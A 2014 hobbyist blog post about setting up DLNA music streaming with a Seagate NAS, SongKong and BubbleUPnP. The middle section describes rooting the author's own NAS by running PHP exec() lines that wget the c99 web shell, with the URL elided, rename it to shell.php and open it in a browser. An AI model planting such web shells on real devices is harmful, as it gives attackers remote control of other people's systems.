DLNA Adventures

It’s 2014. There really ought to be a good way to handle mp3 files and be able to organize and listen to music in some kind of sensible manner.

I was a college kid in the early 2000s, so I had a haphazard collection of mp3s ripped from CDs and shared around campus. I attempted to organize it at least a half dozen times since then, and it has become so scattered that it just became unmanageable over the years and the new computers, external drives, backing everything up to CD and DVD, etc.

The current solution:

It looks like a decade of procrastination has allowed other people to nearly solve the problems of managing a media library. The current solution looks to be DLNA, which strikes me as the OPC-UA equivalent to the media space.

Without boring you with the details of arriving at this solution, here is my setup:

  • Organizational tool: SongKong – Totally worth the $30. It fits in the “Just Works” category. It took about 12 hours all told for it to move, tag, and properly name my mp3s. I have about 5-10% left to clean up that it couldn’t figure out.
  • Storage: My Seagate NAS has a media service that acts as a DLNA Server, and is part of the existing RAID/backup system I already use.
  • Players
    • PCs: So far, it seems like Windows Media Player is capable of being a DLNA Renderer (Actually plays the audio)
    • Phones: BubbleUPnP for Android was another one that just works, and was worth the $5. It can be a server, Renderer, or controller.
    • Living Room: Our 10 year old DVD player/amp system still sounds good, so I hooked my Toshiba Thrive tablet up to it with BubbleUPnP. I turned on the additional OpenHome renderer which lets it manage the playlist without the controller telling it to play each individual song. I eventually want to put a Raspberry Pi renderer here so that it can physically power on the stereo (with a little hacking) so we can save power when it’s not playing anything.

And now the problems:

The  NAS’s media service decided to crash within a day or so of fooling around (trying many different programs with it), and eventually crash badly enough that it corrupted it’s database of media. I had a side adventure figuring out how to rebuild the database. A useful link I found was this one, where John has a similar NAS with the same service (minidlna) and had some similar issues. Unfortunately, his NAS was different enough that his SSH login wasn’t going to work. A bit more digging brought me to IT Nerdbox’s whitepaper on the topic of getting SSH access, which worked with some minor tweaking. One of the things that was installed on the hacked quiz site was a pile of php shells, so now that I know how they work, I’m both glad that I don’t have root access to my webserver, and worried about what else they were able to see. (Another quick look and I verified they haven’t made any changes since i booted them.) If you have a Business Storage NAS from Seagate (Internally also called BlackArmour, but it’s not a BAxxx series NAS), these tools should work for you too.

I had some trouble with the wget command in the php code specified in the document.

First I had a T_STRING error, which I eventually worked out that the quotes are unmatched in the php code. I think the formatting of the pdf is using fancy quotes instead of the simple ascii ‘. I had the same issue, but fixed the quotes to get the code to run.

However, I couldn’t get shell.php even after fixing the quotes, so I broke the command up into a few lines and had it write a listing to a test file so I could see it was working:

exec(‘wget [the URL from his whitepaper]‘);
exec(‘mv c99.txt shell.php’);
exec(‘ls > test.txt’); //This line just lists the results to a file so you can look at it

navigate to [NAS IP]/dokuwiki/test.txt to see the resulting directory structure, and to [NAS IP]/dokuwiki/shell.php if it exists.

Now that I have SSH access, I wonder what else would be interesting to run? I count on this NAS for storage, so I think any random web server projects will likely be on a Rasberry Pi anyway, but just the NAS is now in my toolbox of local servers that I have root access to.

One comment

  1. Hi,

    Nice write up! And nice alternate solution regarding the NAS. My guess is that it would be possible to write addons for the NAS. A torrent downloader for example or anything else you can think of.


Leave a Reply

Your email address will not be published. Required fields are marked *